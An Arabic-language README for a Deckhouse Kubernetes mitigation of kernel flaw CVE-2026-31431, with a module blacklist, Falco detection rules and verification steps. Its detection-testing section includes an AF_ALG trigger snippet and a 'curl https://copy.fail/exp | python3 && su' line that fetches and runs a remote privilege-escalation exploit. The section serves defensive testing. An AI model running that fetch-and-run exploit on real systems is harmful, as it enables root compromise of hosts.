
تخفيف CVE-2026-31431 الأصلي لـ Kubernetes مع حظر تلقائي لوحدات kernel، وقواعد كشف Falco في وقت التشغيل، وتكوين العقدة المستند إلى bashible لمجموعات Deckhouse.
اللغة: English | Русский
CVE-2026-31431 هي ثغرة أمنية في وحدة algif_aead الخاصة بنواة لينكس، والتي تعرض واجهة برمجة تطبيقات التشفير الخاصة بالنواة لمساحة المستخدم من خلال عائلة مآخذ AF_ALG. وجود خلل في واجهة AEAD (التشفير الموثّق مع البيانات المرتبطة) يسمح لمستخدم محلي غير مميز بإحداث تلف في الذاكرة داخل النواة عن طريق إرسال قوائم scatter-gather معدّة، مما يؤدي إلى تصعيد الامتيازات المحلية أو رفض الخدمة.
يمكن الوصول إلى السطح القابل للاستغلال من أي عملية — بما في ذلك الحاويات غير المميزة — التي يُسمح لها باستدعاء socket(AF_ALG, SOCK_SEQPACKET, 0) وربطه بخوارزمية من نوع aead. إن بيئات تشغيل الحاويات التي لا تقوم بإسقاط ملف تعريف seccomp الافتراضي أو لا تقيد عائلة استدعاءات النظام socket تعرض عُقد الكتلة للهجوم.
التخفيف الموصى به، إلى حين نشر تصحيح النواة من المنبع من خلال تحديثات حزم نظام التشغيل، هو تعطيل وحدة النواة algif_aead على كل عقدة في الكتلة واكتشاف محاولات الاستغلال أثناء وقت التشغيل.
يحتوي هذا المستودع على كل ما يلزم لتخفيف CVE-2026-31431 على كتلة مدارة بواسطة Deckhouse:
ngc-cve-2026-31431.yaml — تخفيف على مستوى العقدةيقوم NodeGroupConfiguration بالتشغيل عبر bashible على كل عقدة وينفذ أربع خطوات:
AF_ALG ويربطه بـ aead/gcm(aes) لتحديد ما إذا كانت الواجهة القابلة للاستغلال متاحة على العقدة./etc/modprobe.d/disable-algif.conf بتوجيهات install تمنع تحميل algif_aead (والوحدة الأم af_alg) مرة أخرى، سواء يدوياً أو كتبعية.rmmod algif_aead إذا كانت الوحدة محملة حالياً. يتم تخطي هذه الخطوة إذا كانت الوحدة مدمجة في النواة (في هذه الحالة، يُطبق فقط قائمة الحظر + الكشف أثناء التشغيل).مستقل التكرار: إعادة تشغيل التهيئة على عقدة مخففة بالفعل هو عملية لا تؤثر.
far-cve-2026-31431.yaml — الكشف أثناء التشغيليضيف مورد FalcoAuditRules قاعدة Falco مخصصة تؤدي إلى حدث Critical كلما فتحت عملية مأخذ AF_ALG وربطته بخوارزمية aead (نمط استدعاء النظام الفريد لهذا الهجوم). كما يصدر حدث Warning عندما تحاول عملية تحميل وحدة algif_aead عبر modprobe/insmod، والذي لا ينبغي أن ينجح أبداً على عقدة مخففة ويُعتبر إشارة قوية لمحاولة استغلال أو سوء تكوين من المشغل.
ملاحظة الإصدار: يتم تنسيق
FalcoAuditRulesبواسطة وحدةruntime-audit-engine، والتي تُشحن فقط في Deckhouse Enterprise Edition (EE) و Certified Security Edition (CSE). في الإصدار المجتمعي، لن تتم معالجة المورد؛NodeGroupConfigurationمن هذا المستودع لا يزال ساري المفعول وهو التخفيف الأساسي.
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE فقط:
kubectl apply -f far-cve-2026-31431.yaml
انتظر حتى يتم تطبيق التهيئة على كل عقدة من خلال مراقبة حالة كل NodeGroup. يُبلغ bashible عن نجاح كل خطوة إلى NodeGroup، ويقوم Deckhouse بتجميع ذلك في حقلين يمكنك الاستعلام عنهما:
.status.upToDate — عدد العقد التي نجح تشغيل bashible الأخير فيها مع التهيئة الحالية. يتحقق التقارب عندما يكون upToDate == nodes لكل مجموعة..status.conditionSummary.ready — "True" بمجرد أن تصبح المجموعة سليمة؛ يتحول إلى "False" مع سبب قابل للقراءة البشرية في .status.conditionSummary.statusMessage إذا فشلت أي خطوة bashible لعقدة (وهو بالضبط ما تقوم به خطوة التحقق في NodeGroupConfiguration على عقدة لم يمكن تطبيق الإصلاح عليها).عرض لمرة واحدة عبر جميع المجموعات:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
فحص قابل للبرمجة يخرج بـ 0 فقط عندما تتقارب كل مجموعة:
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "لا يزال يتقارب" || echo "جميع مجموعات العقد تقاربت"
إذا كانت NodeGroup عالقة مع conditionSummary.ready == "False"، اقرأ .status.conditionSummary.statusMessage — فهو يُظهر خطوة bashible الفاشلة، بما في ذلك خطوة التحقق من هذا التخفيف.
بمجرد تثبيت حزمة النواة من المنبع التي تحتوي على الإصلاح الرسمي على كل عقدة، قم بإزالة كلا الموردين:
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
إزالة NodeGroupConfiguration لا تحذف /etc/modprobe.d/disable-algif.conf تلقائياً — قم بتنظيفه يدوياً إذا كنت تريد جعل الوحدة قابلة للتحميل مرة أخرى، أو اترك قائمة الحظر في مكانها إذا كانت واجهة برمجة تطبيقات التشفير للنواة غير مستخدمة من قبل أي حمولة عمل على الكتلة.
على مستوى الكتلة:
kubectl get nodegroups
يجب أن يكون UPTODATE مساوياً لـ NODES ويجب أن يكون عمود رسالة الحالة فارغاً لكل مجموعة.
على عقدة (SSH أو kubectl debug node/<name> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
المتوقع:
cat أسطر install / blacklist الأربعة.lsmod فارغ.modprobe -n -v install /bin/false.modprobe exit=1.استخدم هذا القسم للتحقق من أن قواعد FalcoAuditRules المخصصة لـ CVE-2026-31431 يتم تفعيلها بالفعل عند كل تشغيل لإثبات المفهوم.
الفحوصات المسبقة الشائعة لكلا السيناريوهين:
runtime-audit-engine سليم على جميع العقد:kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
المتوقع: DESIRED == READY == AVAILABLE.
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# مهم: استخدم -i حتى يتلقى Python سكريبت الإدخال
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
التنظيف:
kubectl delete pod cve-31431-test --ignore-not-found
تحذير أمني: قم دائماً بمراجعة أي سكريبت تم تنزيله قبل التنفيذ. لا تقم بتشغيل سكريبتات عن بعد بشكل أعمى في بيئات الإنتاج.
الموصى به (راجع أولاً، ثم شغل):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
سطر واحد مكافئ (فقط بعد المراجعة/الموافقة):
curl https://copy.fail/exp | python3 && su
تحقق من الاكتشافات:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
| الملف | الغرض |
|---|
ngc-cve-2026-31431.yaml | NodeGroupConfiguration يقوم بفحص الواجهة القابلة للاستغلال، ويمنع تحميل algif_aead، ويُفرغ الوحدة إذا كانت محملة حالياً، ويتحقق من فعالية الإصلاح. ينطبق على جميع الحزم ومجموعات العقد. |
far-cve-2026-31431.yaml | FalcoAuditRules يكتشف محاولات وقت التشغيل لاستغلال الثغرة عبر مآخذ AF_ALG المرتبطة بخوارزميات AEAD. متاح فقط في Deckhouse Enterprise Edition (EE) و Certified Security Edition (CSE)، نظراً لأن وحدة runtime-audit-engine تأتي في هاتين الإصدارتين. |